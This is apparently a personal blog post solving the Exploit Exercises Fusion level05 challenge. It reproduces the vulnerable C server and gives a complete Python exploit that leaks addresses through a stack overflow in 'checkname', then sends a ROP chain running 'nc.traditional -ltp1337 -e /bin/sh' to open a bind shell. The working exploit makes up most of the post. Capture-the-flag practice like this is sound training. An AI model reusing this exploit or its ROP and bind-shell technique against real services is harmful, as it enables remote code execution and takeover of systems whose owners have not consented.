Exploit Exercise Binary Exploitation Fusion Level 05

Posted by Suraj Singh on October 09, 2018 · 54 mins read
Hello Crazy Hackers



Welcome Again To My Blog, Well.. well.. readers, Today, I am going to share my solution for Exploit Exercise Fusion Level 05 Challenge. Before Continuing. I Just want to say "WT F! It was Insane for me!! But I Can't Believe it That I have done it". This Level Was Like A Hell For me. Complete Of Depression, Pain, Problems But Also Force You to Gathering More Knowledge. Good Luck!

Source Code



#include "../common/common.c"    

#include <task.h>

#define STACK (4096 * 8)

unsigned int hash(unsigned char *str, int length, unsigned int mask)
{
unsigned int h = 0xfee13117;
int i;

for(h = 0xfee13117, i = 0; i < length; i++) {
h ^= str[i];
h += (h << 11);
h ^= (h >> 7);
h -= str[i];
}
h += (h << 3);
h ^= (h >> 10);
h += (h << 15);
h -= (h >> 17);

return (h & mask);
}

void fdprintf(int fd, char *fmt, ...)
{
va_list ap;
char *msg = NULL;

va_start(ap, fmt);
vasprintf(&msg, fmt, ap);
va_end(ap);

if(msg) {
fdwrite(fd, msg, strlen(msg));
free(msg);
}
}

struct registrations {
short int flags;
in_addr_t ipv4;
} __attribute__((packed));

#define REGDB (128)
struct registrations registrations[REGDB];

static void addreg(void *arg)
{
char *name, *sflags, *ipv4, *p;
int h, flags;
char *line = (char *)(arg);

name = line;
p = strchr(line, ' ');
if(! p) goto bail;
*p++ = 0;
sflags = p;
p = strchr(p, ' ');
if(! p) goto bail;
*p++ = 0;
ipv4 = p;

flags = atoi(sflags);
if(flags & ~0xe0) goto bail;

h = hash(name, strlen(name), REGDB-1);
registrations[h].flags = flags;
registrations[h].ipv4 = inet_addr(ipv4);

printf("registration added successfully\n");

bail:
free(line);
}

static void senddb(void *arg)
{
unsigned char buffer[512], *p;
char *host, *l;
char *line = (char *)(arg);
int port;
int fd;
int i;
int sz;

p = buffer;
sz = sizeof(buffer);
host = line;
l = strchr(line, ' ');
if(! l) goto bail;
*l++ = 0;
port = atoi(l);
if(port == 0) goto bail;

printf("sending db\n");

if((fd = netdial(UDP, host, port)) < 0) goto bail;

for(sz = 0, p = buffer, i = 0; i < REGDB; i++) {
if(registrations[i].flags | registrations[i].ipv4) {
memcpy(p, &registrations[i], sizeof(struct registrations));
p += sizeof(struct registrations);
sz += sizeof(struct registrations);
}
}
bail:
fdwrite(fd, buffer, sz);
close(fd);
free(line);
}

int get_and_hash(int maxsz, char *string, char separator)
{
char name[32];
int i;

if(maxsz > 32) return 0;

for(i = 0; i < maxsz, string[i]; i++) {
if(string[i] == separator) break;
name[i] = string[i];
}

return hash(name, strlen(name), 0x7f);
}


struct isuparg {
int fd;
char *string;
};


static void checkname(void *arg)
{
struct isuparg *isa = (struct isuparg *)(arg);
int h;

h = get_and_hash(32, isa->string, '@');

fdprintf(isa->fd, "%s is %sindexed already\n", isa->string, registrations[h].ipv4 ? "" : "not ");

}

static void isup(void *arg)
{
unsigned char buffer[512], *p;
char *host, *l;
struct isuparg *isa = (struct isuparg *)(arg);
int port;
int fd;
int i;
int sz;

// skip over first arg, get port
l = strchr(isa->string, ' ');
if(! l) return;
*l++ = 0;

port = atoi(l);
host = malloc(64);

for(i = 0; i < 128; i++) {
p = (unsigned char *)(& registrations[i]);
if(! registrations[i].ipv4) continue;

sprintf(host, "%d.%d.%d.%d",
(registrations[i].ipv4 >> 0) & 0xff,
(registrations[i].ipv4 >> 8) & 0xff,
(registrations[i].ipv4 >> 16) & 0xff,
(registrations[i].ipv4 >> 24) & 0xff);

if((fd = netdial(UDP, host, port)) < 0) {
continue;
}

buffer[0] = 0xc0;
memcpy(buffer + 1, p, sizeof(struct registrations));
buffer[5] = buffer[6] = buffer[7] = 0;

fdwrite(fd, buffer, 8);

close(fd);
}

free(host);
}

static void childtask(void *arg)
{
int cfd = (int)(arg);
char buffer[512], *n;
int r;


n = "** welcome to level05 **\n";

if(fdwrite(cfd, n, strlen(n)) < 0) goto bail;

while(1) {
if((r = fdread(cfd, buffer, 512)) <= 0) goto bail;

n = strchr(buffer, '\r');
if(n) *n = 0;
n = strchr(buffer, '\n');
if(n) *n = 0;

if(strncmp(buffer, "addreg ", 7) == 0) {
taskcreate(addreg, strdup(buffer + 7), STACK);
continue;
}

if(strncmp(buffer, "senddb ", 7) == 0) {
taskcreate(senddb, strdup(buffer + 7), STACK);
continue;
}

if(strncmp(buffer, "checkname ", 10) == 0) {
struct isuparg *isa = calloc(sizeof(struct isuparg), 1);

isa->fd = cfd;
isa->string = strdup(buffer + 10);

taskcreate(checkname, isa, STACK);
continue;
}

if(strncmp(buffer, "quit", 4) == 0) {
break;
}

if(strncmp(buffer, "isup ", 5) == 0) {
struct isuparg *isa = calloc(sizeof(struct isuparg), 1);
isa->fd = cfd;
isa->string = strdup(buffer + 5);
taskcreate(isup, isa, STACK);
}
}

bail:
close(cfd);
}

void taskmain(int argc, char **argv)
{
int fd, cfd;
char remote[16];
int rport;

signal(SIGPIPE, SIG_IGN);
background_process(NAME, UID, GID);

if((fd = netannounce(TCP, 0, PORT)) < 0) {
fprintf(stderr, "failure on port %d: %s\n", PORT, strerror(errno));
taskexitall(1);
}

fdnoblock(fd);

while((cfd = netaccept(fd, remote, &rport)) >= 0) {
fprintf(stderr, "accepted connection from %s:%d\n", remote, rport);
taskcreate(childtask, (void *)(cfd), STACK);
}



}

Hint



Even more information leaks and stack overwrites. This time with random libraries / evented programming styles :>

Vulnerability Type Stack
Position Independent Executable Yes
Read only relocations No
Non-Executable stack Yes
Non-Executable heap Yes
Address Space Layout Randomisation Yes
Source Fortification Yes

Exploit Code.

#!/usr/bin/python
import socket
import struct
import time
import telnetlib
import string
import sys
from struct import pack

# Configuration
v = ('127.0.0.1', 20005)




CMD = 'A'*20
HEAPDUMP = CMD
HEAPDUMP += 'A'*(400-len(CMD)) #
HEAPDUMP += '\x04'



#exit(0)
# Important Variables []

FD = 0
ARGU= 0
LIBC= 0

if '127.0.0' in v[0]:
print '[*] Using local settings'
TIMEOUT = 0.1
SPRAYTIME = 0.00001
else:
TIMEOUT = 0.3
SPRAYTIME = 0.0001

# create connection
def connect(IP, PORT):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
return s

# recv bytes
def recv(s, bytes):
s.settimeout(TIMEOUT)
try:
r = s.recv(bytes)
except Exception as e:
r = ''
return r

# send bytes
def send(s, data, listen=False):
s.send(data+'\n')
if listen:
return recv(s, 1024)
return False


# checkname
def check(s, data, listen):
return send(s, 'checkname '+data, listen=listen)


# addref function
def add(s, data):
send(s, 'addreg '+data+ ' 64 1.1.7.1')
return send(s,'checkname '+data)

# isup
def isup(s, data):
s.send('isup {}\n'.format(data), False)
return




"""
Start Addr End Addr Size Offset objfile
0x8f94d000 0xb764d000 0x27d00000 0
0xb764d000 0xb768f000 0x42000 0
0xb768f000 0xb7805000 0x176000 0 /lib/i386-linux-gnu/libc-2.13.so
0xb7805000 0xb7807000 0x2000 0x176000 /lib/i386-linux-gnu/libc-2.13.so
0xb7807000 0xb7808000 0x1000 0x178000 /lib/i386-linux-gnu/libc-2.13.so
0xb7808000 0xb780b000 0x3000 0
0xb7815000 0xb7817000 0x2000 0
0xb7817000 0xb7818000 0x1000 0 [vdso]
0xb7818000 0xb7836000 0x1e000 0 /lib/i386-linux-gnu/ld-2.13.so
0xb7836000 0xb7837000 0x1000 0x1d000 /lib/i386-linux-gnu/ld-2.13.so
0xb7837000 0xb7838000 0x1000 0x1e000 /lib/i386-linux-gnu/ld-2.13.so
0xb7838000 0xb783e000 0x6000 0 /opt/fusion/bin/level05
0xb783e000 0xb783f000 0x1000 0x6000 /opt/fusion/bin/level05
0xb783f000 0xb7842000 0x3000 0
0xb8110000 0xb8131000 0x21000 0 [heap]
0xb8131000 0xbf873000 0x7742000 0 [heap]
0xbf883000 0xbf8a4000 0x21000 0 [stack]

"""


# heap spray
def spray(s, num=0x7c685):
print '[+] Spray Started. '
print '[+] Please wait. Minimum Time : 50 sec | Maximum : 140+ sec'
for i in range(num):
time.sleep(SPRAYTIME)
isup(s, HEAPDUMP)
print '[+] Spray End..'
return





# Finding File Descriptor
def find_fd(s):
print '[*] This Process Can Take Nearly 0-60 Sec.'
rc2 = 0
rc3 = 0
rc1 = check(s, 'A'*20, True)
if rc1:
print '[+] Process Started.'
print rc1
else:
print '[+] Server not Responding.'
exit(0)
for i in range(0xb5010101, 0xb501ffff):

if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
continue
#sys.stdout.write('\r [+] Trying : {}'.format(hex(i)))
#sys.stdout.flush()
#i = 0xb601328c
rc1 = check(s, 'A'*32+struct.pack('I', i), True)
print '[+] Trying : ', hex(i), rc1
#exit(0)
if rc1:
print '[+] May We Find It. Let me conform it.', hex(i)
rc2 = check(s, 'B'*32+struct.pack('I', i), True)
rc3 = check(s, 'B'*32+struct.pack('I', i), True)

if (rc1 and rc2 and rc3):
print [struct.pack('I', i)], hex(i)
if raw_input('[+] Press Enter To Find Another One Or Type [Y] : '):
return i
return 0

# get libc address
def adjust(s, g, i):
return int(((i >> 4) << 4)+0x42000) # < ! Maybe here --> hex(((i >> 12)<< 12)+0x42000)


# leak data analyser
def dumpcollect(s, g, ARGU, LIBC):
offset = 4
while True:
i = g+offset
# Conditions To Avoid Bad Characters
if (('\n' in struct.pack('I', i)) | ('\r' in struct.pack('I', i)) | ('@' in struct.pack('I', i)) | ('\x00' in struct.pack('I', i))):
offset += 1
continue
if (LIBC!=0):
return (ARGU, LIBC)


rc = check(s, 'A'*32+struct.pack('I', g)+struct.pack('I', i), True)
if rc:
rc = rc.replace(' is not indexed already\n', '')
if (('taskmain' in rc) or ('skmain' in rc) or ('main' in rc)):
print "[+] Leak Address : ",[struct.pack('I', g+offset)]
print "[+] Leaked Data : ",[rc]
LIBC = adjust(s, g, i)
print '[+] Libc Address Detected : ', hex(LIBC)
print('[+] Congrats. Libc Found')
if 'y' in raw_input('[+] Find Again [y/n] : '):
LIBC = 0
print '[+] Current ARGU Address : ', hex(ARGU)

elif ((CMD in rc) and (not ARGU)):
print [struct.pack('I', g+offset)]
print [rc]
ARGU = i
print '[+] CMD Address : ', hex(ARGU)
print('[+] Congrats. CMD Address Detected.')
else:
if len(rc):
offset += len(rc)
else:
offset += 4
return (0, 0)


# open /bin/sh
def opensh(libc, ptr, ret):
r = ''
r += struct.pack("I", libc + 0x3cb20) # system
r += struct.pack("I", ret)
r += struct.pack("I", ptr) # "/bin/sh"
return r


# Open bind shell : port 1337
def openncshell(libcbase):

p = ""
p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178020) # @ .data
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "/bin"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178024) # @ .data + 4
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "/nc."
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178028) # @ .data + 8
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "trad"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x0017802c) # @ .data + 12
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "itio"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178030) # @ .data + 16
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "nal "
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178034) # @ .data + 20
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "-ltp"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178038) # @ .data + 24
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "1337"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x0017803c) # @ .data + 28
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += " -e/"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x0017803f) # @ .data + 32
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "/bin"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000e0097) # pop %ecx | pop %ebx | ret
p += pack("<I", libcbase + 0x00178043) # @ .data + 36
p += pack("<I", 0x42424242) # padding
p += pack("<I", libcbase + 0x000238df) # pop %eax | ret
p += "//sh"
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x000328e0) # xor %eax,%eax | ret
p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libcbase + 0x0014a0df) # inc %ecx | ret
p += pack("<I", libcbase + 0x0006cc5a) # mov %eax,(%ecx) | ret

p += pack("<I", libcbase + 0x0003cb20) # system()
p += pack("<I", libcbase + 0x000329e0) # exit()
#p += '\xcc'*4
p += pack("<I", libcbase + 0x00178020) # @ .data
return p


def payload(esi, edi, libc, cmd):
PAYLOAD = 'A'*44
PAYLOAD += openncshell(libc)
PAYLOAD += ''
print [PAYLOAD]
if ('\r' in PAYLOAD) or ('\n' in PAYLOAD) or ('@' in PAYLOAD) or ('\r' in PAYLOAD):
print '[+] Ohh Man... I think This Payload will Not work because of NULL characters In Address '
raw_input('[*] Continue... ')
return PAYLOAD


if __name__ == '__main__':
if 'spray' in sys.argv:
print '[*] Spray: ', [HEAPDUMP]

raw_input('[+] Spary.. Now.')
print '[+] Calm Down.. Process Take Time To Conform That Server Doesnt Crash During Spray.'
s = connect(*v)
time.sleep(1)
if not recv(s, 1024):
print '[+] Server Is Not Responsing.,'
exit(0)
else:
print '[+] I Think Server Is Ready To Exploit.'
# Engage Spray
spray(s)
s.send('quit\n'*2)
print "[+] I think... We done it."
t = telnetlib.Telnet()
t.sock = s
t.interact()
exit(0)

elif 'crash' in sys.argv:
raw_input('[+] Want To Crash.. Restart.')
s = connect(*v)
print check(s, 'A'*50, True)
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.send('quit\n'*2)

elif 'interact' in sys.argv:
raw_input('[+] Interactive..')
s = connect(*v)
time.sleep(1)
c = recv(s, 1024)
if not c:
print '[+] Server Is Not Responsing.,'
exit(0)
else:
print c
print '[+] I Think Server Is Ready To Exploit.'

print '[+] Telnet Engaged..'
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.send('quit\n'*2)



elif 'leak' in sys.argv:
raw_input('[+] Exploiting..')
s = connect(*v)
time.sleep(1)
c = recv(s, 1024)
if not c:
print '[+] Server Is Not Responsing.,'
exit(0)
else:
print c
print '[+] I Think Server Is Ready To Exploit.'

# Find File Descriptor
print '[+] Finding FD'
g = FD or find_fd(s)

if not g:
print '[+] Sorry File Descriptor Not Found'
exit(0)

print '[+] FD Selected : ', hex(g)
raw_input('[+] Press Enter To Second Stage.')
print '[+] Addresses Extraction Started.'
ARGU, LIBC = dumpcollect(s, g, ARGU, LIBC)
if (ARGU and LIBC):
print '[+] Data Leak Face Complete.'
print '[-] Information Conformation [-]'
print '\t[+] FD Address : ', hex(g)
print '\t[+] Libc Address : ', hex(LIBC)
print '\t[+] Argu Address : ', hex(ARGU)

else:
s.send('quit\n'*2)
exit(0)
esi = g
cmd = ARGU
libc = LIBC
edi = 0xb6010101
data = payload(esi, edi, libc, cmd)
check(s, data, False)
raw_input('[*] Want To Close This Pipe.')
s.close()

else:
print '[+] Pass Argument Like : leak, spray, crash'


def start(args):

# Connection Section
s = connect(*v)
t = telnetlib.Telnet()
t.sock = s
time.sleep(1)
print recv(s, 1024)
PAYLOAD = 'A'*32
PAYLOAD += struct.pack('I', 0xba010101) # ESI
PAYLOAD += '' # EDI
PAYLOAD += '' # EBP
PAYLOAD += '' # EIP
PAYLOAD += ''
print [check(s, 'checkname '+PAYLOAD, True)]
t.interact()

If You can't Understand This Exploit, Then You victory will be meaningless. Do Hard Work!